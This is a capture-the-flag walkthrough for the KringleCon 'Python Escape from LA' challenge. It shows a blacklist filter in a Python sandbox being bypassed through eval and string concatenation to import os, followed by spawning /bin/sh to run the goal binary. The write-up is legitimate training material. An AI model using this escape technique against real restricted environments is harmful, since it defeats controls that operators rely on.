Elf #8 - SugarPlum Mary - Python Escape from LA Cranberry Pi terminal


SugarPlum Mary: Python Escape from LA Cranberry Pi terminal

Hints given:
Check out Mark Baggett's talk upstairs (https://www.youtube.com/watch?v=ZVx2Sxl3B9c)


I'm another elf in trouble,
Caught within this Python bubble.

Here I clench my merry elf fist -
Words get filtered by a black list!

Can't remember how I got stuck,
Try it - maybe you'll have more luck?

For this challenge, you are more fit.
Beat this challenge - Mark and Bag it!

-SugarPlum Mary

To complete this challenge, escape Python and run ./i_escaped


The challenge can be accessed directly here:
https://docker.kringlecon.com/?challenge=python_docker_challenge


Try out which commands work, and which do not work in Python

>>> import
Use of the command import is prohibited for this question.
>>> exec
Use of the command exec is prohibited for this question.
>>> compile
Use of the command compile is prohibited for this question.
>>> eval
<built-in function eval>

Using the 'eval' function, create an escape and spawn a shell

>>> cmd = eval('__imp' + 'ort__("os")')
>>> cmd.system("/bin/sh")
$

Find and run 'i_escaped' to complete the challenge

$ ls -al
total 5440
drwxr-xr-x 1 elf  elf     4096 Dec 14 16:41 .
drwxr-xr-x 1 root root    4096 Dec 14 16:40 ..
-rw-r--r-- 1 elf  elf      220 Aug 31  2015 .bash_logout
-rw-r--r-- 1 elf  elf     3771 Aug 31  2015 .bashrc
-rw-r--r-- 1 elf  elf      655 May 16  2017 .profile
-rwxr-xr-x 1 root root 5547296 Dec 14 16:13 i_escaped
$ ./i_escaped
Loading, please wait......


 
  ____        _   _                      
 |  _ \ _   _| |_| |__   ___  _ __       
 | |_) | | | | __| '_ \ / _ \| '_ \      
 |  __/| |_| | |_| | | | (_) | | | |     
 |_|___ \__, |\__|_| |_|\___/|_| |_| _ _ 
 | ____||___/___ __ _ _ __   ___  __| | |
 |  _| / __|/ __/ _` | '_ \ / _ \/ _` | |
 | |___\__ \ (_| (_| | |_) |  __/ (_| |_|
 |_____|___/\___\__,_| .__/ \___|\__,_(_)
                     |_|                             


That's some fancy Python hacking -
You have sent that lizard packing!

-SugarPlum Mary
            
You escaped! Congratulations!